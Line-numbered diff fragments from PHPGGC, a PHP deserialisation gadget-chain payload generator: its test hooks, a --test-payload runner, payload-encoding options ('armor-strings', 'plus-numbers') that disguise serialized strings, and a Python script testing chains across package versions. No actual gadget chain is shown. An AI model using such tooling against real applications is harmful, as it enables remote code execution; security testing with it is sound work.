161
162 # Test methods - Internal use only
163
164 /**
165 * Returns arguments that need to be used to test the gadget chain.
166 * This method can also setup the testing environment, by creating a file
167 * for instance.
168 *
169 * @return array Arguments the payload need to be generated with, as a
170 * [key] => [test-value] associative array.
171 */
172 abstract public function test_setup();
173
174 /**
175 * Returns whether the deserialisation of the payload yielded the expected
176 * results.
177 *
178 * @param array arguments Arguments the payload was generated with
179 * @param string result Output of the test_payload.php command
180 *
181 * @return bool true if the payload executed successfully.
182 */
183 abstract public function test_confirm($arguments, $output);
184
185 /**
186 * Cleans up the test environment, e.g. removes a file created by
187 * test_setup().
188 *
189 * @param array arguments Arguments the payload was generated with
190 *
191 * @return null
192 */
193 public function test_cleanup($arguments)
194 {
195 }
158196 }
5151
5252 $phar = new \Phar($path);
5353 $phar->startBuffering();
54 $phar->addFromString("dummy", 'test');
5554 $phar->addFromString($this->parameters['filename'], 'test');
5655 $phar->setStub(
5756 $this->parameters['prefix'] .
0 <?php
1
2 namespace PHPGGC;
3
4 /**
5 * Utility functions.
6 */
7 class Util
8 {
9 /**
10 * Creates a file in the temporary directory.
11 *
12 * @param string $name Filename
13 * @param string $contents Contents of the file
14 *
15 * @return string Full path to the file
16 */
17 static public function temp_file($name, $contents)
18 {
19 $path = static::temp_path($name);
20 file_put_contents($path, $contents);
21 return $path;
22 }
23
24 /**
25 * Creates a file in the temporary directory.
26 *
27 * @param string $contents Contents of the file
28 * @param string $prefix A string to prepend to the filename
29 * @param string $suffix A string to append to the filename
30 *
31 * @return string Full path to the file
32 */
33 static public function rand_file($contents, $prefix='', $suffix='')
34 {
35 $path = static::rand_path($prefix, $suffix);
36 file_put_contents($path, $contents);
37 return $path;
38 }
39
40 /**
41 * Returns a random temporary file path.
42 *
43 * @param string $prefix A string to prepend to the filename
44 * @param string $suffix A string to append to the filename
45 *
46 * @return string Full path to the file
47 */
48 static public function rand_path($prefix='', $suffix='')
49 {
50 return static::temp_path(
51 $prefix . 'phpggc' . sha1(rand()) . $suffix
52 );
53 }
54
55 /**
56 * Returns a temporary file path whose basename is $name
57 *
58 * @param string $name Name of the temporary file
59 *
60 * @return string Full path to the file
61 */
62 static public function temp_path($name)
63 {
64 return sys_get_temp_dir() . DIRECTORY_SEPARATOR . $name;
65 }
66 }
3737 {
3838 global $argv;
3939
40 $parameters = $this->parse_cmdline($argv);
41
42 if($parameters === null)
40 $arguments = $this->parse_cmdline($argv);
41
42 if($arguments === null)
4343 return;
4444
45 if(count($parameters) < 1)
45 if(count($arguments) < 1)
4646 {
4747 $this->help();
4848 return;
4949 }
5050
51 $class = array_shift($parameters);
51 $class = array_shift($arguments);
5252 $gc = $this->get_gadget_chain($class);
5353
5454 $this->setup_enhancements();
55 $parameters = $this->get_type_parameters($gc, $parameters);
56 $generated = $this->serialize($gc, $parameters);
5755
5856 if(in_array('test-payload', $this->options))
59 $this->test_payload($gc, $generated);
57 {
58 if(count($arguments) > 0)
59 $this->o(
60 "WARNING: Testing a payload ignores payload arguments."
61 );
62 $this->test_payload($gc);
63 }
6064 else
65 {
66 $arguments = $this->get_type_arguments($gc, $arguments);
67 $generated = $this->serialize($gc, $arguments);
6168 $this->output_payload($generated);
62 }
63
64 /**
65 * Runs generated payload using the ./template/test_payload.php script.
66 * We have to use system() here, because the classes used during the
67 * deserialization process are already defined by PHPGGC, and there is no
68 * mechanism allowing to delete classes in PHP. Therefore, a new PHP process
69 * has to be created.
70 */
71 public function test_payload($gc, $payload)
69 }
70 }
71
72 /**
73 * Tests whether the payload works in the current environement.
74 * PHPGGC will generate test arguments, include vendor/autoload.php, run the
75 * payload, and check whether it was run successfully.
76 * The script will exit with status 0 if the payload triggered, 1 otherwise.
77 */
78 public function test_payload($gc)
7279 {
7380 $this->o('Trying to deserialize payload...');
81 $arguments = $gc->test_setup();
82 $payload = $this->serialize($gc, $arguments);
7483 $vector = isset($this->parameters['phar']) ? 'phar' : $gc::$vector;
75 system(
84
85 # We have to use system() here, because the classes used during the
86 # deserialization process are already defined by PHPGGC, and there is no
87 # mechanism allowing to delete classes in PHP. Therefore, a new PHP process
88 # has to be created.
89 $output = shell_exec(
7690 escapeshellarg(DIR_LIB . '/test_payload.php') . ' ' .
7791 escapeshellarg($vector) . ' ' .
7892 escapeshellarg(base64_encode($payload))
7993 );
94 $result = $gc->test_confirm($arguments, $output);
95
96 $gc->test_cleanup($arguments);
97
98 if($result)
99 {
100 $this->o('SUCCESS: Payload triggered !');
101 exit(0);
102 }
103 else
104 {
105 $this->o('FAILURE: Payload did not trigger !');
106 exit(1);
107 }
80108 }
81109
82110 /**
128156 {
129157 $enhancements = [];
130158
159 if(
160 in_array('ascii-strings', $this->options) &&
161 in_array('armor-strings', $this->options)
162 ) {
163 $this->e(
164 'Both ascii-strings and armor-strings are both set but they ' .
165 'are mutually exclusive'
166 );
167 }
168
131169 if(isset($this->parameters['wrapper']))
132170 $enhancements[] = new Enhancement\Wrapper($this->parameters['wrapper']);
133171 if(in_array('fast-destruct', $this->options))
134172 $enhancements[] = new Enhancement\FastDestruct();
135173 if(in_array('ascii-strings', $this->options))
136 $enhancements[] = new Enhancement\ASCIIStrings();
174 $enhancements[] = new Enhancement\ASCIIStrings(false);
175 if(in_array('armor-strings', $this->options))
176 $enhancements[] = new Enhancement\ASCIIStrings(true);
137177 if(isset($this->parameters['plus-numbers']))
138178 $enhancements[] = new Enhancement\PlusNumbers(
139179 $this->parameters['plus-numbers']
200240 */
201241 public static function autoload_register()
202242 {
203 spl_autoload_register(array(static::class, 'autoload'));
243 spl_autoload_register([static::class, 'autoload']);
204244 }
205245
206246 /**
262302
263303 $base = DIR_GADGETCHAINS . '/' . $name . '/' . $type . '/';
264304
265 for($i=1;file_exists($base . $i);$i++);
305 for($i=1; file_exists($base . $i); $i++);
266306
267307 $base = $base . $i;
268308 mkdir($base, 0777, true);
526566 $this->o(' right after the unserialize() call, as opposed to at the end of the');
527567 $this->o(' script');
528568 $this->o(' -a, --ascii-strings');
529 $this->o(' Uses the \'S\' serialization format instead of the standard \'s\'. This');
530 $this->o(' replaces every non-ASCII value to an hexadecimal representation:');
531 $this->o(' s:5:"A<null_byte>B<cr><lf>"; -> S:5:"A\\00B\\09\\0D";');
569 $this->o(' Uses the \'S\' serialization format instead of the standard \'s\' for non-printable chars.');
570 $this->o(' This replaces every non-ASCII value to an hexadecimal representation:');
571 $this->o(' s:5:"A<null_byte>B<cr><lf>"; -> S:5:"A\\00B\\09\\0D";');
532572 $this->o(' This is experimental and it might not work in some cases.');
573 $this->o(' -A, --armor-strings');
574 $this->o(' Uses the \'S\' serialization format instead of the standard \'s\' for every char.');
575 $this->o(' This replaces every character to an hexadecimal representation:');
576 $this->o(' s:5:"A<null_byte>B<cr><lf>"; -> S:5:"\\41\\00\\42\\09\\0D";');
577 $this->o(' This is experimental and it might not work in some cases.');
578 $this->o(' Note: Since strings grow by a factor of 3 using this option, the payload can get');
579 $this->o(' really long.');
533580 $this->o(' -n, --plus-numbers <types>');
534581 $this->o(' Adds a + symbol in front of every number symbol of the given type.');
535582 $this->o(' For instance, -n iO adds a + in front of every int and object name size:');
536583 $this->o(' O:3:"Abc":1:{s:1:"x";i:3;} -> O:+3:"Abc":1:{s:1:"x";i:+3;}');
537584 $this->o(' Note: Since PHP 7.2, only i and d (float) types can have a +');
538585 $this->o(' -w, --wrapper <wrapper>');
539 $this->o(' Specifies a file containing either or both functions:');
540 $this->o(' - process_parameters($parameters): called right before object is created');
541 $this->o(' - process_object($object): called right before the payload is serialized');
542 $this->o(' - process_serialized($serialized): called right after the payload is serialized');
586 $this->o(' Specifies a file containing at least one wrapper functions:');
587 $this->o(' - process_parameters(array $parameters): called right before object is created');
588 $this->o(' - process_object(object $object): called right before the payload is serialized');
589 $this->o(' - process_serialized(string $serialized): called right after the payload is serialized');
543590 $this->o('');
544591 $this->o('ENCODING');
545592 $this->o(' -s, --soft Soft URLencode');
552599 $this->o('CREATION');
553600 $this->o(' -N, --new <framework> <type>');
554601 $this->o(' Creates the file structure for a new gadgetchain for given framework');
555 $this->o(' Example: ./phpggc -n Drupal RCE');
602 $this->o(' Example: ./phpggc -N Drupal RCE');
556603 $this->o(' --test-payload');
557604 $this->o(' Instead of displaying or storing the payload, includes vendor/autoload.php and unserializes the payload.');
558605 $this->o(' The test script can only deserialize __destruct, __wakeup, __toString and PHAR payloads.');
610657 # Enhancements
611658 'fast-destruct' => false,
612659 'ascii-strings' => false,
660 'armor-strings' => false,
613661 'plus-numbers' => true,
614662 # Encoders
615663 'soft' => false,
631679 'phar-jpeg' => 'pj',
632680 'phar-prefix' => 'pp',
633681 'phar-filename' => 'pf',
634 'new' => 'N'
682 'new' => 'N',
683 'ascii-strings' => 'a',
684 'armor-strings' => 'A'
635685 ] + $abbreviations;
636686
637687 # If we are in this function, the argument starts with a dash, so we
783833 }
784834
785835 /**
786 * Convert command line parameters into an array of named parameters,
836 * Converts command line arguments into an array of named arguments,
787837 * specific to the type of payload.
788838 */
789 protected function get_type_parameters($gc, $parameters)
790 {
791 $arguments = $gc::$parameters;
792
793 $values = @array_combine($arguments, $parameters);
794
795 if($values === false)
839 protected function get_type_arguments($gc, $arguments)
840 {
841 $keys = $gc::$parameters;
842 if(count($keys) != count($arguments))
796843 {
797844 $this->o($gc, 2);
798845 $this->e(
800847 $this->_get_command_line_gc($gc)
801848 );
802849 }
803
804 return $values;
850 return array_combine($keys, $arguments);
805851 }
806852
807853 protected function _get_command_line_gc($gc)
1313 catch(\PHPGGC\Exception $e)
1414 {
1515 print("ERROR: " . $e->getMessage() . "\n");
16 exit(1);
1617 }
0 #!/usr/bin/env python3
1 """
2 Test PHPGGC gadget chains against every version of a composer package.
3
4 Usage:
5 $ ./test-gc-compatibility.py <composer-package> <gadget-chain-1> [gadget-chain-2...]
6
7 Example:
8 $ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
9
10 Required executables:
11 The program requires phpggc and composer.
12 By default, it will use the `phpggc` from the current directory, and the
13 composer from PATH. If you wish to use other paths, use the `PHPGGC_PATH`
14 and `COMPOSER_PATH` environment variables.
15 If a file cannot be ran straight up, we'll try using `php <file>` instead.
16
17 Dependencies:
18 $ pip install rich
19
20 Credit goes to @M4yFly for the original idea and implementation.
21 """
22
23 import subprocess
24 import argparse
25 import pathlib
26 import os
27 import re
28 import tempfile
29 import shutil
30
31
32 try:
33 from rich import print
34 except ImportError:
35 print("Please install the `rich` python3 package to use this program.")
36 print("$ pip install rich")
37 exit()
38
39
40 from rich.progress import Progress
41 from rich.table import Table
42
43
44 class Tester:
45 """Tests gadget chains against a composer package."""
46
47 _package = None
48 _cwd = None
49
50 def run(self):
51 args = setup_arguments()
52 self._cwd = os.curdir
53 self._gcs = args.gadget_chain
54 self._executor = Executor()
55 self._package = Package(args.package, executor=self._executor)
56
57 for gc in self._gcs:
58 self.ensure_gc_exists(gc)
59
60 versions = self._package.get_versions()
61 print(
62 f"Testing {len(versions)} versions for "
63 f"[blue]{self._package.name}[/blue] against "
64 f"{len(self._gcs)} gadget chains."
65 )
66
67 # We'll jump to a temporary directory for phpggc and composer to work
68 # without breaking anything.
69 os.chdir(self._package.work_dir)
70
71 self.test_chains_on_versions(versions)
72
73 def ensure_gc_exists(self, name):
74 """Makes sure that a GC exists."""
75 if not self._executor.phpggc("-i", name):
76 raise TesterException(f"Gadget chain does not exist: {name}")
77
78 def test_chains_on_versions(self, versions):
79 """Contains the main logic. Each version of the package will be
80 installed, and each gadget chain will be tested against it. Results
81 are kept in a table.
82 """
83 table = Table(self._package.name)
84 table.add_column("Package", justify="center")
85
86 for gc in self._gcs:
87 table.add_column(gc, justify="center")
88
89 errored_payload_rows = (self.__status_str(False),) + ("[yellow]-",) * len(
90 self._gcs
91 )
92
93 with Progress() as progress:
94 ptask = progress.add_task("Testing chains", total=len(versions))
95
96 for version in versions:
97 progress.update(ptask, advance=1, description=f"Testing ({version})")
98 try:
99 tests = self.test_chains_on_version(version)
100 except ValueError:
101 table.add_row(version, *errored_payload_rows)
102 else:
103 outputs = [self.__status_str(test) for test in tests]
104 table.add_row(version, self.__status_str(True), *outputs)
105
106 progress.update(ptask, visible=False)
107
108 print(table)
109
110 def __status_str(self, test):
111 return test and "[green]OK" or "[red]KO"
112
113 def test_chains_on_version(self, version):
114 self._package.install_version(version)
115 return [self._executor.phpggc("--test-payload", gc) for gc in self._gcs]
116
117 def cleanup(self):
118 """Cleans up anything we might have used and go back to the original
119 directory.
120 """
121 if self._cwd:
122 os.chdir(self._cwd)
123 if self._package:
124 self._package.cleanup()
125
126
127 class TesterException(Exception):
128 pass
129
130
131 def setup_arguments():
132 parser = argparse.ArgumentParser(
133 description="Test PHPGGC gadget chains against every version of a composer package."
134 )
135 parser.add_argument("package")
136 parser.add_argument("gadget_chain", nargs="+")
137
138 return parser.parse_args()
139
140
141 class Executor:
142 """Small wrapper to execute composer and phpggc."""
143
144 def __init__(self):
145 self.get_commands()
146
147 def _try_run_command(self, *cmd):
148 """Tries to run a command to completion: if no exception happens and the
149 return code is zero, returns True. Otherwise, False.
150 """
151 try:
152 process = self._run(*cmd)
153 except (PermissionError, FileNotFoundError) as e:
154 return False
155 return process.returncode == 0
156
157 def _get_valid_run_command(self, php_file):
158 """Tries to run a PHP file directly (e.g. `./file.php`). If it does not
159 work, tries with `php file.php`.
160 Returns the arguments required to launch the file, as tuple.
161 If nothing works, an exception is raised.
162 """
163 # We will change our current directory during the execution.
164 # If we can find php_file in the current path, refer to it using an
165 # absolute path.
166 # Otherwise, just assume it's an alias or from $PATH.
167 path = pathlib.Path(php_file)
168 if path.exists():
169 php_file = str(path.absolute())
170
171 if self._try_run_command(php_file):
172 return (php_file,)
173 elif path.exists() and self._try_run_command("php", php_file):
174 return ("php", php_file)
175 raise TesterException(f"Unable to run PHP file: {php_file}")
176
177 def get_commands(self):
178 """Gets the paths of the two required programs, phpggc and composer, and
179 verifies if they need to be started with "php" as a prefix.
180 """
181 work_dir = pathlib.Path(__file__).parent.resolve()
182 phpggc = os.environ.get("PHPGGC_PATH", str(work_dir / "phpggc"))
183 composer = os.environ.get("COMPOSER_PATH", "composer")
184
185 if not pathlib.Path(phpggc).is_file():
186 raise TesterException("phpggc executable not found")
187
188 self._phpggc = self._get_valid_run_command(phpggc)
189 self._composer = self._get_valid_run_command(composer)
190
191 def _run(self, *args):
192 """Runs a program with given arguments."""
193 return subprocess.run(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
194
195 def composer(self, *args):
196 """Runs composer and returns stdout and stderr as a tuple."""
197 process = self._run(*self._composer, *args)
198 return process.stdout.decode("utf-8"), process.stderr.decode("utf-8")
199
200 def phpggc(self, *args):
201 """Runs PHPGGC with given arguments and returns whether the execution
202 was successful or not.
203 """
204 return self._run(*self._phpggc, *args).returncode == 0
205
206
207 class Package:
208 """Represents a composer package."""
209
210 def __init__(self, name, executor):
211 self.name = name
212 self._executor = executor
213 self.work_dir = pathlib.Path(tempfile.mkdtemp(prefix="phpggc"))
214
215 def get_versions(self):
216 """Uses composer to obtain each version (or tag) for the package."""
217 versions, _ = self._executor.composer("show", "-a", self.name)
218 versions = re.search(r"versions :(.*)\ntype", versions).group(1)
219 return [v.strip() for v in versions.split(",")]
220
221 def clean_workdir(self, final=False):
222 """Removes any composer related file in the working directory, such as
223 composer.json and vendor/.
224 """
225 (self.work_dir / "composer.json").unlink(missing_ok=True)
226 (self.work_dir / "composer.lock").unlink(missing_ok=True)
227 shutil.rmtree(self.work_dir / "vendor", ignore_errors=True)
228 if final:
229 self.work_dir.rmdir()
230
231 def install_version(self, version):
232 """Uses composer to install a specific version of the package."""
233 self.clean_workdir()
234 _, stderr = self._executor.composer(
235 "require", "-q", "--ignore-platform-reqs", f"{self.name}:{version}"
236 )
237 if stderr:
238 raise ValueError(f"Unable to install version: {version}")
239
240 def cleanup(self):
241 self.clean_workdir(final=True)
242
243
244 if __name__ == "__main__":
245 tester = Tester()
246
247 try:
248 tester.run()
249 except TesterException as e:
250 print(f"[red]Error: {e}[/red]")
251 except KeyboardInterrupt:
252 print(f"[red]Execution interrupted.")
253 finally:
254 tester.cleanup()